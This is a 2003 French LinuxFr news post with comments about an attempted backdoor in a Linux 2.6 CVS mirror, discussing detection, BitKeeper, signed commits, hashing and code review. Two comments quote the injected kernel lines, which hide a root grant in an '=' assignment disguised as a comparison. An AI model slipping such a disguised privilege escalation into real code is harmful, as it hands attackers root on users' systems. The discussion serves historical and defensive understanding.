Tentative d'insertion d'une porte dérobée dans le noyau Linux

Posté par  . Modéré par Fabien Penso.
Étiquettes :
0
6
nov.
2003
Noyau
Un des miroirs hébergeant le CVS du noyau 2.6 en développement a été récemment modifié de manière peu louable. Deux lignes de code ont été insérées dans le source du noyau, afin de créer une porte dérobée (« backdoor ») permettant un accès root (NdM: local).

Fort heureusement, une mise à jour du miroir CVS compromis depuis les serveurs principaux hébergeant l'arborescence BitKeeper des sources du noyau a permis de corriger le problème. Comment deux lignes de code malicieusement insérées pourraient fortement compromettre la crédibilité du noyau Linux.

Et aussi comment les méthodes de développement du noyau (architecture distribuée BitKeeper) permettent de se prémunir contre ce genre d'attaques.

Remarquons enfin que c'est la disponibilité du code source qui permet de déceler et corriger ce genre d'attaques. Qui sait combien de backdoors nébuleuses se cachent dans un code source propriétaire fermé ?

Aller plus loin

  • # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

    Posté par  . Évalué à 10.

    Pour info, l'utilisateur présumé qui a mis ces lignes sur le cvs serait David Miller, qui contribue de manière très active au développement du noyau depuis longtemps, et ce qui le disculpe donc. Un petit malin aurait réussi à se faire passer pour lui, mais le script de surveillance de BitKeeper aurait détecté une anomalie (heureusement !). L'auteur ne c'est toujours pas dénoncé, et le reste de la team kernel est toujours à sa recherche.

    • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

      Posté par  (site web personnel) . Évalué à 10.

      L'auteur ne c'est toujours pas dénoncé, et le reste de la team kernel est toujours à sa recherche.
      Et eux aussi Ils offrent 250000$ à toutes personnes susceptibles de fournir des informations permettant de le retrouver ? :o)
      je sais =>[]

    • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

      Posté par  . Évalué à 10.

      Sur kerneltrap, ils signalent que Linus compte ajouter (ou plutôt faire ajouter) une gestion des commits avec un hash signé en GPG.
      Ainsi donc, ce genre de méprise ne pourrait se reproduire.

      Je ne pense toutefois pas qu'une telle histoire puisse décrédibliser l'open source, (à part par les FUDers), car au contraire, elle montrera à quel point la communauté se réorganise vite face aux problèmes de ce genre...

      • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

        Posté par  . Évalué à -2.

        Sur kerneltrap, ils signalent que Linus compte ajouter (ou plutôt faire ajouter) une gestion des commits avec un hash signé en GPG.
        Ainsi donc, ce genre de méprise ne pourrait se reproduire.

        Bah, si ils ont réussi à committer sur le bitmachin truc en se faisant passer pour Untel, ils avaient sans doute les clés du gars.

        La sécurité absolue n'existe pas.

        • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

          Posté par  . Évalué à 10.

          Faudrait lire le thread associé à l'histoire. Le commit est apparu sur le miroir CVS du repository bitkeeper de linus, il n'a jamais été présent dans le repository bitkeeper (linus dit qu'il s'en serait rendu compte immédiatement si ça avait été le cas)

  • # méthodes qui le permettent

    Posté par  . Évalué à 10.

    Oui l'ouverture du source est une sécurité, et les méthodes de développement et de distribution du noyau sont sécurisante.

    Il reste que sans des administrateurs vigilants et compétents sur leur système...
    Pas de controle.

    Le controle visuel étant plus productif en régime quotidien, que le controle actif : si les indicateurs se controlent d'un coup d'oeil on peut en controler plus en 1 minute, que si il faut passer une commande et lire une série de chiffres à chaque fois.

    Mandrake est sur la bonne voie. Parallelement à ceux qui défendent une informatique de "pro", pour les "pro", par les "pro". Ou mème les puristes de l'integrisme qui prétendent se nourir de code et de communauté.

    Défoulez vous. Je ne vote pas

    • [^] # Re: méthodes qui le permettent

      Posté par  . Évalué à 5.

      Défoulez vous. Je ne vote pas

      Non y'a pas de raison, ton commentaire est interessant, un peu HS, mais interessant donc moi j'ai voté [+].

      Concernant l'informatique "pro" et ton discours, c'est une opinion, qu'elle soit partagé ou non par le lecteur ne justifie pas, à mes yeux, un vote négatif ou positif.

  • # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

    Posté par  . Évalué à 10.

    cholie pub pour bitkeeper :)

    • [^] # solutions libres

      Posté par  . Évalué à 7.

      il n'y a heureusement pas besoin de bitkeeper pour s'assurer qu'un miroir CVS est conforme à l'original, l'utilisation d'un digest/hash de type sha2 suffit amplement !

      sinon pour le commun des mortels qui n'utilise pas les CVS pour avoir leur noyau il y a les signatures GPG des miroirs de kernel.org
      http://kernel.org/signature.html(...)

      • [^] # Re: solutions libres

        Posté par  . Évalué à 1.

        l'utilisation d'un digest/hash de type sha2 suffit amplement !

        Pourquoi toujours sha2 (sha-256|384|512 en fait) ? SHA-1 est toujours considéré comme très sur par rapport à l'emploi qui en est fait.

        • [^] # plusieurs algos avec grosses clés

          Posté par  . Évalué à 4.

          Pourquoi ne pas utiliser ce qui se fait de mieux si ça ne ralentit pas ?
          En dehors du onetimepad (et sous certaines conditions) aucun algo de crypto n'est démontré sûr mathématiquement.
          Et régulièrement des failles sont publiées sur des algos qu'on croyait fiables...

          Tout dépend aussi de l'importance des données à protéger: dans le cas du noyau Linux,
          il mérite de larges précautions puisqu'il peut être utilisé par certains pour des données très importantes !

          Quand on est "parano" (à tort ou raison) je pense qu'il vaut mieux utiliser plusieurs algos en même temps et avec des tailles de clé importantes ! (sans compter les bugs dans les implémentations de ces algos...)

          • [^] # Re: plusieurs algos avec grosses clés

            Posté par  . Évalué à 3.

            Sans preuve de sécurité, un algo n'est jamais garanti.

            La notion d'algorithme "sûr" telle que je l'ai entendue pratiquer en séminaires/groupes de travail, c'est:
            * la force brute va mettre potentiellement des millions d'années à le casser avec les machines actuelles;
            * tous les trucs que l'on connaît et qui permettent d'affaiblir au moins une méthode de crypto ancienne, n'apportent pas d'amélioration fulgurante sur cette force brute.

            Cette notion de sécurité non garantie est pratique, mais a quelques inconvénients puisqu'une méthode sûre dans ce sens peut tomber:
            * par chance: vous commencez votre attaque d'une clef à un endroit choisi au hasard, et vous tombez pile à côté de la clef réelle (très improbable);
            * par progrès technologique: les machines deviennent des millions de fois plus puissantes soudainement (relativement improbable);
            * par progrès scientifique: on trouve une nouvelle attaque (c'est souvent)

            Pour info, les labos de crypto jouent à "la mienne est meilleure" (de méthode de cryptage); certains proposent une nouvelle méthode (ou une variante d'une méthode existante), et les autres rétorquent "Non, en faisant comme ci, comme ça, on la casse, ta méthode, essaie plutôt ça..."; bref, c'est assez amusant d'être assis dans les tribunes et d'admirer le spectacle.

            Si vous voulez perdre votre confiance mal placée dans les méthodes de crypto actuelles, allez lire les conditions qu'on se donne sur les nombres premiers avant de les utiliser pour crypter, et dites-vous que chaque condition est apparue en réponse à une attaque possible...

            Snark

            PS1: si vous trouvez une liste qui se contente de demander "p, q: deux grands nombres premiers", vous n'avez pas trouvé une bonne page, les bonnes commencent par ça, puis enchainent sur:
            * pas trop près l'un de l'autre
            * pas congrus à bidule modulo machin
            * p-1 ne doit pas se décomposer avec des nombres premiers trop petits
            * ...

            PS2: avant qu'on me pose la question, oui, j'utilise ssh et pas telnet, parce qu'entre rien du tout et une passoire, je préfère encore la passoire!

            • [^] # Re: plusieurs algos avec grosses clés

              Posté par  . Évalué à 2.

              Le one time padding a ete prouve mathematiquement sur, pas cryptographiquement sur. Ca veut notamment dire que meme si tu tombes sur la bonne cle (meme au premier essai), et bien ca ne change rien puisque tu ne peux pas savoir que cette cle etait la bonne.
              Par contre, c'est inutilisable pour proteger le noyau. Ca ne peut servir grosso-modo qu'aux ambassades, genre tu envoies le CD contenant la cle dans la valise dilomatique, et tu peux ensuite t'en servir deux mois plus tard pour envoyer un email securise.

              • [^] # OTP pour tous

                Posté par  . Évalué à 3.

                Ca ne peut servir grosso-modo qu'aux ambassades
                Non car je peux donner un CD ou un DVD contenant du random (=clé OTP) à des amis que je rencontre en personne sans être ambassadeur !
                et en compressant bien les données à échanger, je peux ensuite échanger avec eux plusieurs messages textes (voir téléphoniques) par jour pendant des années en toute sécurité (et sans avoir besoin de les rencontrer en personne à nouveau)

              • [^] # Re: plusieurs algos avec grosses clés

                Posté par  . Évalué à 1.

                Le one-time-pad n'entrait pas dans le champ de ce que je racontais... C'est un truc quand même à part... le seul à ma connaissance qui soit (quasi-)utilisable et théoriquement prouvé simultanément.

                Snark

                PS: je dis "quasi" utilisable, parce que d'une part remplir un CD avec des données bien aléatoires, c'est pas tout à fait trivial, et d'autre part, son utilisation demande à ce qu'au préalable on ait réussi à faire transiter toutes ces données par un canal sûr...

            • [^] # Re: plusieurs algos avec grosses clés

              Posté par  . Évalué à 0.

              * la force brute va mettre potentiellement des millions d'années à le casser avec les machines actuelles;
              * tous les trucs que l'on connaît et qui permettent d'affaiblir au moins une méthode de crypto ancienne, n'apportent pas d'amélioration fulgurante sur cette force brute.


              Moi je n'utiliserais pas ça comme définition de sûr. C'est beaucooup trop subjectif, et peut évoluer.
              Je dirais plutôt :
              * L'attaque par force brute est la meilleure attaque possible (connue ou pas).

              Après, le truc du million d'année ne veut pas dire grand chose, disons
              * L'attaque par force brute est au moins de complexité exponentielle en une donnée de la méthode de cryptage.

              Note que je n'ai vraiment que des connaissances très basiques en crypto (ce qui se voit certainement dans la naïveté de mes définitions), je suis plutôt matheux (ce qui se voit certainement dans...;)

              • [^] # Re: plusieurs algos avec grosses clés

                Posté par  . Évalué à 2.

                Mais... ce sont des mathématiciens (moi aussi d'ailleurs). La raison pour laquelle c'est si foireux, c'est que si on tente de pondre des définitions bien propres, elle ne seront pas applicables aux algos actuels!

                Il suffit de jeter un coup d'oeil à:
                http://csrc.nist.gov/encryption/aes/rijndael/Rijndael-ammended.pdf(...)
                et comparer les parties 8 et 9... Respectivement "Ce contre quoi on s'est arrangé pour qu'il puisse résister" et "Les garanties". C'est pas une chambre à air avec une ou deux rustines, c'est un paquet de rustines.

                En résumé: les définitions sont à la mesure de nos connaissances dans ce domaine: ridicules!

                Snark

          • [^] # Re: plusieurs algos avec grosses clés

            Posté par  (site web personnel) . Évalué à 2.

            Et régulièrement des failles sont publiées sur des algos qu'on croyait fiables...
            Attention, il faut bien distinguer algorithmes et protocoles. En crypto, l'un et l'autre sont importants.
            Par exemple si tu prends RSA, considéré aujourd'hui comme sûr : l'algo est très simple, il peut être expliqué en quelques lignes (http://www.rsasecurity.com/rsalabs/faq/3-1-1.html(...)). En revanche pour chiffrer ou signer un e-mail par exemple, il faut un protocole qui va expliquer comment appliquer cet algo à un flux de caractères pour le transmettre comme un e-mail classique (cf CMS rfc 2630 et S/MIME rfc 2311).
            Deux exemples ou l'utilisation d'un protocole foireux peut compromettre un algo sûr :
            - on peut utiliser les messages d'erreurs concernant le padding pour réussir à trouver 1 à 1 les bits de clé. voir problèmes d'implémantation de la cryptographie : les attaques par effet de bord dans MISC n°4
            - on peut utiliser les propriétés multiplicatives de RSA afin de forger des signatures valides. C'est très bien expliqué ici : http://www.eleves.ens.fr/home/coron/publications/thesis/node8.html(...)

          • [^] # Re: plusieurs algos avec grosses clés

            Posté par  . Évalué à 1.

            Absolument pas, SHA-1 et SH1-2 sont basés sur le même principe, il y a une forte chance qu'une attaque qui marche sur l'un marche sur les autres. Et SHA-2 n'est pratiquement utilisé que pour des hashes de données très volumineuses. SHA-2 n'est pas fondamentalement meilleur que SHA-1, c'est juste une adaptation.

            • [^] # Re: plusieurs algos avec grosses clés

              Posté par  . Évalué à 1.

              tu oublies que beaucoup d'attaques ne font qu'éliminer rapidement un % de cleartext possibles tout en laissant un % non négligeable de possibilités à explorer par de la force brute.
              Dans ce cas le fait d'avoir une clé plus grande (512 bits vs 128) reste un (exponentiel) avantage !

    • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

      Posté par  (site web personnel) . Évalué à 0.

      Oui tout à fait.
      De là à dire que c'est Linus lui-même qui a introduit la backdoor...

    • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

      Posté par  . Évalué à 3.

      Dailleur : Linus Torvald VS RMS au sujet de Bitkeeper...
      http://linuxfr.org/2002/10/23/10070.html(...)

  • # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

    Posté par  (site web personnel) . Évalué à -4.

    Encore une tentative de SCO pour décrédibiliser Linux qui vient d'échouer lamentablement !

  • # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

    Posté par  . Évalué à 10.

    Remarquons enfin que c'est la disponibilité du code source qui permet de déceler et corriger ce genre d'attaques. Qui sait combien de backdoors nébuleuses se cachent dans un code source propriétaire fermé ?

    Rien a voir, c'est un des developpeurs du kernel qui l'a trouve, pas un user curieux, le meme gars sur un soft proprio l'aurait trouve.

    D'ailleurs, l'article le dit clairement :

    Andreas Dilger pointed out that had the change gone undetected "it might have taken a good while to find".

    Car ca n'a pas ete trouve durant une code review, ca a ete trouve pendant un export des sources ou ils se sont rendus compte que qqe chose de bizarre s'etait produit.

    • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

      Posté par  (site web personnel) . Évalué à 10.

      En fait, j'ai bien peur qu'on soit obligé de constater que c'est le soft propriétaire bitkeeper qui a permis une détection rapide du problème. Pour ceux qui n'ont pas lu les liens, je précise que l'astuce est la suivante :

      if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
      retval = -EINVAL;

      Ce qui rend le truc difficile à trouver est que tout est dans (current->uid = 0) qu'on a tendance à lire (current->uid == 0), beaucoup plus anodin...

      Moralité, je suis d'accord avec pBpG, l'aspect open source n'a pas grand chose à voir dans le problème présent.

    • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

      Posté par  . Évalué à 2.

      >Rien a voir, c'est un des developpeurs du kernel qui l'a trouve, >pas un user curieux, le meme gars sur un soft proprio l'aurait >trouve.

      Effectivement, c' est un développeur qui a trouvé cette tentative d' insertion.

      Mais grâce à la disponibilité des sources, même un utilisateur curieux aurait pu le trouver, ce qui est n' est pas possible avec un soft proprio.

      Quant à savoir si *le meme gars sur un soft proprio l'aurait trouve*, rien ne dit que ce n'est pas ce même gars qui l' aurait placé. Et dans ce cas, on en aurait rien su.

      • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

        Posté par  . Évalué à 3.

        Mais grâce à la disponibilité des sources, même un utilisateur curieux aurait pu le trouver, ce qui est n' est pas possible avec un soft proprio.

        Oui il peut, maintenant la realite montre que c'est tres rarement le cas.

        Quant à savoir si *le meme gars sur un soft proprio l'aurait trouve*, rien ne dit que ce n'est pas ce même gars qui l' aurait placé. Et dans ce cas, on en aurait rien su.

        Ben remarque, si ca avait reellement ete David Miller qui avait mis ce code, il n'y aurait pas eu cette bizarrerie a l'export des sources, et personne n'y aurait rien vu justement.

        • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

          Posté par  . Évalué à 10.

          la réalité c'est qu'on ne saura PAS si un user curieux aurait trouvé.


          merci de considérer que nous avons aucune certitude.

          • [^] # si on est parano seul le libre est acceptable !

            Posté par  . Évalué à 3.

            si on est parano à chaque fois qu'on installe une nouvelle version d'un soft libre, il est tout à fait praticable de faire un diff de toutes les modifications du code source qu'on utilise (on peut toujours supprimer les parties qu'on utilise pas, ou y ajouter un controle d'accès comme le fait systrace pour les appels du noyau)

            la réalité c'est surtout que ce genre de "problème" est et demeure secret quand il arrive dans un soft proprio

            alors que de + en + de gens (étudiants, professionels, paranos) apprennent comment est conçu un OS en regardant les sources de Linux

            • [^] # Re: si on est parano seul le libre est acceptable !

              Posté par  . Évalué à 10.

              il est tout à fait praticable de faire un diff de toutes les modifications du code source qu'on utilise

              Et t'en fais quoi, de ce diff ? Tu ne vas pas quand meme prendre le temps de le lire *et de le comprendre*, si ?

              Rien que recompiler systematiquement les rpms a partir des .src.rpm, ca prend du temps!!!

              Et faire un diff, le relire, et le comprendre, parce que lire sans comprendre, ca ne sert a rien, moi, je n'ai que 24h dans ma journee, et encore, y'en a une bonne partie qui est consacree a dormir, a manger tranquilement, et a bosser (ou a etudier pour des etudiants).

              Il est preferable, si on est parano, de suivre vraiment attentivement (donc de participer) l'un ou l'autre projet, et de faire confiance pour le reste.

              Si vous voulez des gars vraiment parano, mais qui se donnent vraiment a fond et qui le font plutot bien, c'est les gars qui font l'audit du code de tous les softs d'OpenBSD. Mais ils sont a plusieurs, et ils ne le font pas en une soiree.

              Le bonjour chez vous,
              Yves

            • [^] # Re: si on est parano seul le libre est acceptable !

              Posté par  . Évalué à 2.

              http://www.acm.org/classics/sep95/(...)

              En gros si on est parano il faut tout construire (ecrire) de soit meme.
              Rien ne te dis qu'a un niveau quelqu'un chose n'a pas ete backdooré.

              Bref faire un diff c'est un peu ridicule. Rien n'est sur il faut simplement le savoir. De plus un (xxxx = e) a de grandes chances de passer inapercu pendant un moment. simplement pas ce que des tests d'uid == 0 y'en a toutes les 4 lignes et que l'oeil ne reste pas figé dessus. Le cerveau "voit" ce qu'il a envie de voir.


              Après sous BSD ca aurait pas été possible celle la (suser() rulez :-))

        • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

          Posté par  . Évalué à 2.

          La différence réellement appréciable, à mon goût, c'est qu'un admin un tant soit peu compétent en la matière peut également patcher ses serveurs avant que le correctif officiel ne soit sorti, ce qui peut parfois prendre beaucoup de temps, même sans être mauvaise langue.

          • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

            Posté par  . Évalué à 4.

            ... a commencer par celui qui trouve la faille.

            Quand on trouve un bug quelque part dans du code, il est vraiment appreciable de pouvoir le corriger soi-meme tout de suite (dans la mesure de ses propres competences) et de ne pas attendre que l'auteur diffuse un patch ou une nouvelle version avec la correction qu'on lui a envoyee.

            Par ailleurs, quand on fait cela, il est toujours preferable de controler comment l'auteur a corrige la faille. a-t-il simplement applique notre patch ? A-t-il fait des corrections sur notre patch ? A-t-il supprime le bug autrement qu'en appliquant notre patch ? Ou n'a-t-il rien fait ?

            Ce controle est d'ailleurs excellent pour l'apprentissage d'un langage car il permet de voir si l'auteur a fait pareil que nous, ou si notre patch etait imparfait.

            Le bonjour chez vous,
            Yves

  • # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

    Posté par  (site web personnel) . Évalué à 9.

    Depuis quelques temps, on parle de plus en plus de problèmes d'accès illicites à des serveurs de projets libres : Le kernel Linux et Tuxfamilly cette semaine, www.gnu.org en début d'années, un autre soft (proftpd peut-être) un peu plus tard.... C'est assez inquiétant quand même : Des individus aux intentions pas très louable décident-ils de s'attaquer aux projets libres afin de le discréditer ? Ou tout simplement de poser des jalons pour de futures attaques de grande envergure, lorsque les logiciels libres seront plus déployés...

    En tout cas, le code inséré est pour le moins subtile : Il faut vraiment y regarder à deux fois pour voir le coup du "=" (affectation) au lieu du "==" (test de condition) dans le if...

    Enfin, cet engouement pour le libre par des personnes de ce type ne peut signifier qu'une chose : Les logiciels libres prenent de plus en plus de poid sur les réseaux, et deviennent "intéressants" à pirater... A moins qu'ils en aient assez de faire du buffer overflow sur des trou de sécurité de IE, du RPC de Windows, etc..., et que finalement une backdoor dans le code source est plus facile à utiliser...

    • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

      Posté par  . Évalué à 10.

      D'autant plus que plus ca va et plus il devient compliqué de construire des exploits qui marchent.

      D'une part parce que des systèmes de sécurités interessants ont vu le jour (grsecurity, rsbac, exec-shield, SELinux, ...) qui contiennent au maximum les erreurs.

      D'autre part parce que la rapidité de réaction d'un certain nombre de projets, rend la découverte des failles très aléatoires (sur une machine à jour :p).

      Maintentant, Une backdoor est ce qui y a de mieux pour rentrer, c'est beaucoup plus discret qu'un exploit (qui peut ^etre très "bruyant"), et y a pas besoin de ce casser la t^ete pour trouver une faille.

      En tout cas la porte dérobée introduite dans le noyau est très élégante :) et aurait pu passer inaperçue pendant un bout de temps, c'est clair.

      mes 2 cents

      Caeies, plongé dans le noyau et l'assembleur ...

    • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

      Posté par  (site web personnel) . Évalué à 4.

      Je complete ta liste (amha tuxfamily est un autre probleme):
      irssi
      bitchx
      tcpdump

      J'en oublie peut etre, mais je me souviens de ces 3 la. Accessoirement, xmms.org s'etait fait hacker a repetition. Enfin bref, je ne peux m'empecher moi aussi de faire mon parano et de trouver ca vraiment louche tout ca :)

    • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

      Posté par  . Évalué à 10.

      "En tout cas, le code inséré est pour le moins subtile : Il faut vraiment y regarder à deux fois pour voir le coup du "=" (affectation) au lieu du "==" (test de condition) dans le if..."


      je proteste bruyamment : n'importe quel programmeur C digne de ce nom sera déjà très mal à l'aise à la vue d'une affectation dans un test. oui, ça se fait tous les jours, mais parce qu'on sait ce qu'on fait, et le thème des affectations dans des if fait partie du top 10 des choses surveillées en C.

      et n'importe quel programmeur du noyau ou orienté sécurité changera de couleur en voyant un current->uid = 0 se promener, où que ce soit. il SAIT ce que ça fait, et regardera dans le contexte ce que ça fait là.


      Je ne parle même pas d'outils sérieux d'analyses de sources qui sont capables de surveiller ce qui arrive à une variable, même en l'aliasant, et cela sans rien compiler.

      • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

        Posté par  . Évalué à 7.

        >je proteste bruyamment : n'importe quel programmeur C digne de ce nom sera déjà très mal à l'aise à la vue d'une affectation dans un test.

        et n'importe quel programmeur C repérera d'un seul coup d'oeil ce = au lieu de == après avoir relu 10000 lignes de code avant et avoir passé 6h devant son écran ?
        Perso, je remarquerais probablement pas un truc comme ça en première lecture la moitié du temps.

      • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

        Posté par  . Évalué à 5.

        Oui, surtout que même si ca avait été un == ca parait louche de retourner un code d'erreur (EINVAL) quand on est root !

        Bon je ne suis pas developpeur noyeau, mais je me dit que ca serait a la rigueur le contraire, mais en aucun cas ne renvoyer une erreur que si l'on est root...

        Donc je pense que ce genre de lignes auraient intrigués un quelconque dev (des qu'il aura mis les yeux dessus)

        • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

          Posté par  . Évalué à 10.

          "Error: you have too much privileges to do that" :)

          Remarque, ce serait peut-être un patch anti-neuneu interessant, pour diminuer le nombre de gens qui bossent en root et pas en utilisateur normal...

        • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

          Posté par  . Évalué à 7.

          L'affectation n'a aucun effet :

          + if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
          + retval = -EINVAL;
          retval = -ECHILD;

          si on passe par retval = -EINVAL, de toute façon la ligne suivante fait un retval = -ECHILD, c'est surtout cela qui est louche.

          • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

            Posté par  . Évalué à 3.

            bien vu,
            je n'avais pas fais l'effort d'aller chercher le source en entier...
            et RAISON DE PLUS, un test qui modifie retval qui sera de toute maniere modifié la ligne suivante, c'est tres louche ! (voir inutile, sauf appel de fonction dans le if.. ou modification de variable)

            donc bref :
            en premier on vois : un test qui sert à rien (retval modifié tout de suite deriere)
            ensuite, même en confondant = avec == on se dit tient on test si root pour envoyer une erreur ?.. rigolo ca..
            ensuite (on ajuste ses lunettes) on voit le = et là on est sur que c'est pas honete comme ligne :)

            donc je pense que ca serait pas resté longtemps...

            • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

              Posté par  . Évalué à 2.

              Ce que tu dis est très interressant :)
              Serait-ce aussi évident à repérer s'il avait ajouté un else à la fin ?

              Je crois que c'est un peu "juste" de compter uniquement sur les relecteurs de code pour garantir la sécurité d'un soft libre. Cleirement ce serait bien que le monde du dévelopement libre se dirige vers une structure garantissant une meilleure authenticité du code.

              • [^] # faire mieux, oui mais quoi ?

                Posté par  . Évalué à 4.

                e serait bien que le monde du dévelopement libre se dirige vers une structure garantissant une meilleure authenticité du code.
                tu penses à quoi ? parceque là le compte (ie l'authenticité) d'un développeur semble avoir été piraté. Mais on s'est apperçu rapidement que y'avait une backdoor et elle a été enlevée.
                .
                Si le compte d'un développeur de MS est piraté, ils peuvent faire quoi de + eux ?
                (à part nous cacher qu'ils ont aussi ce genre de problèmes)

                • [^] # Re: faire mieux, oui mais quoi ?

                  Posté par  . Évalué à 0.

                  Nous, on peut l'empecher de part le fait que chaque changement dans l'arbre doit etre associe a un numero de bug preexistant, qui doit etre aprouve par un meeting journalier, sans ca rien n'entre dans l'arbre, et si un malin s'amuse a faire entrer qqe chose dans l'arbre sans bug autorise, il se fera attraper en 5 minutes.

                  Alors a moins que le gars n'arrive a convaincre qq'un de l'interieur d'ouvrire un bug et le faire approuver par le meeting, il ira pas loin.

                  Je rentrerai pas sur les details qui concernent les criteres pour les machines et comptes autorisees a se connecter au depot car c'est probablement considere confidentiel, mais niveau securite c'est un autre monde que qui se fait dans le monde Linux ou chacun est libre de faire ce qu'il veut niveau securite.

                  • [^] # bugs MS

                    Posté par  . Évalué à 2.

                    je vois pas en quoi tu résouds le problème du piratage du compte d'un développeur habilité à corriger les bugs dont tu parles !

                    • [^] # Re: bugs MS

                      Posté par  . Évalué à 2.

                      La seule maniere de mettre du code dans l'arbre et qu'il soit marque "OK", c'est de passer par un site web qui va recueillir la requete, faire le build de ce qui est necessaire et envoyer un e-mail au developpeur, au testeur, au reviewer et autres personnes si specifiees, dev/testeur et reviewer ne pouvant pas etre les memes personnes.
                      Le gars qui met du code et qui ne fait pas la requete sur le site web voit son code flagge le soir meme.

                      Resultat, des que le code est mis, 2 autres personnes au minimum sont averties, et elles sont au courant du status d'un bug, si ils voient une requete alors que le code n'est pas pret, ils vont reagir, le dev qui voit que son bug a ete marque comme corrige alors qu'il n'a rien fait va reagir, le reviewer qui n'a pas revu le code va reagir, etc...

                      Le fait que tout code entre doit avoir un bug associe fait que les gens savent ce qui est sense entrer dans l'arbre a l'avance.

                  • [^] # Re: faire mieux, oui mais quoi ?

                    Posté par  . Évalué à 1.

                    mais niveau securite c'est un autre monde que qui se fait dans le monde Linux ou chacun est libre de faire ce qu'il veut niveau securite.

                    Tu me rappelles ton boss. Tiens, c'est pas Linux mais Mozilla: Nitot explique bien mieux que moi que dans les gros projets open source, il y a de l'organisation.

                    http://standblog.com/blog/2003/10/29/93113130-SteveBallmerEtLaQuali(...)

                    • [^] # Re: faire mieux, oui mais quoi ?

                      Posté par  . Évalué à -2.

                      Marrant, c'est un joli FUD ca aussi.

                      1) C'est con, mais j'ecris pas du code car j'ai peur d'etre vire
                      2) C'est con, quasiment tous nos produits ratent la date de sortie prevue
                      8) Vu que la beta de chaque Windows passe chez plus de 500'000 personnes, je doutes enormement qu'il y ait plus de testeurs Linux que Windows, sans compter que chez MS, il y a un team dedie qui est probablement plus gros que les testeurs "intensifs" Linux.

                      Sinon, tu peux me detailler comment on fait pour s'assurer que la machine du developpeur qui se connecte au CVS est ok niveau securite ? Car c'est un point d'entree crucial ca.
                      Ah oui, il y a rien, on s'en remet au bon vouloir du developeur, c'est de ca dont je parlais.

                      • [^] # Re: faire mieux, oui mais quoi ?

                        Posté par  . Évalué à 2.

                        Ah oui, il y a rien, on s'en remet au bon vouloir du developeur, c'est de ca dont je parlais.

                        T'as juste en diagonale, et tu ne cites pas l'essentiel. Je te sors donc le passage a lire, c'est-a-dire la description du processus pour integrer une ligne dans un des principaux projets open source:

                        # Le développeur demande à un collègue de relire son code, et s'engage à faire des modifications qui lui sont envoyées en retour. C'est la notion de review.
                        # Il demande ensuite la super-review à un super-reviewer, un expert qui a une vision globale du projet, qui peut lui demander à nouveau des modifications pour une meilleure cohérence de l'ensemble du projet. (D'après ce que je sais, la notion de super-review est inexistante chez Microsoft)
                        # Ensuite, le code est intégré dans l'arbre CVS, qui journalise toutes les modifications faites au code. On sait à chaque instant qui a écrit ou modifié telle ou telle ligne de code, et à quelle date.
                        # Un ensemble de machines (les Tinderbox) compilent en permanence le code contenu dans l'arbre sur différentes plateformes. En cas d'incident à la compilation, le développeur (qui doit attendre la confirmation que tout s'est bien passé) retire son code de l'arbre.
                        # De plus, un systeme dit de CVS Blame permet de savoir qui est l'auteur de quelle ligne, et pourquoi elle a été rajoutée et modifiée (on connait le numero de bug correspondant, ainsi que les identifiants des reviewers et super-reviewers). Par exemple, voir l'historique du fichier editor.js de Mozilla. Autrement dit, chaque modification dans chaque ligne de code peut être littéralement tracée par qui veut...

                        Voila, ensuite si tu as le moindre doute sur un fichier (par exemple editor.js) tu vas voir la:
                        http://bonsai.mozilla.org/cvsblame.cgi?file=mozilla/editor/ui/compo(...)

                        Et si j'utilisait un produit MS, je pourrais regarder moi-meme pourquoi chaque ligne a ete inseree, avec un lien vers le bug correspondant ? Non, je sais. Ce n'est pas grave, je n'en n'utilise pas ; mais ne vas pas dire que dans les projets Open Source les developpeurs se contentent de bidouiller chez eux et font un commit direct.

                        • [^] # Re: faire mieux, oui mais quoi ?

                          Posté par  . Évalué à -1.

                          Tout ca c'est mignon, la seule chose que ca decrit c'est le fonctionnement normal de tout projet informatique.
                          Rien la dedans n'a permis de decouvrire la backdoor dont on parle, c'est bitkeeper qui l'a fait.

                          Et si j'utilisait un produit MS, je pourrais regarder moi-meme pourquoi chaque ligne a ete inseree, avec un lien vers le bug correspondant ? Non, je sais. Ce n'est pas grave, je n'en n'utilise pas ; mais ne vas pas dire que dans les projets Open Source les developpeurs se contentent de bidouiller chez eux et font un commit direct.

                          Faut que t'apprennes a lire.
                          La seule chose que j'ai dite, c'est qu'il n'y a aucune regle de securite quand a la securite des machines de dev des developpeurs, qui sont un point d'entree pour le CVS, je n'ai jamais parle des pratiques de developpement des devs de LL.

                  • [^] # Re: faire mieux, oui mais quoi ?

                    Posté par  (site web personnel) . Évalué à 1.

                    on peut l'empecher de part le fait que chaque changement dans l'arbre doit etre associe a un numero de bug preexistant

                    Que se passe t il si quelqu'un rajoute un bug "virtuel" dans la base de bugs, puis s'il inclut du code en l'associant a ce bug "virtuel" ?
                    Posée autrement :
                    En quoi le meeting journalier, empecherai quelqu'un d'inclure un bug "virtuel", lui permettant par la suite d'inclure du code ?

                    c'est un autre monde que qui se fait dans le monde Linux ou chacun est libre de faire ce qu'il veut niveau securite.

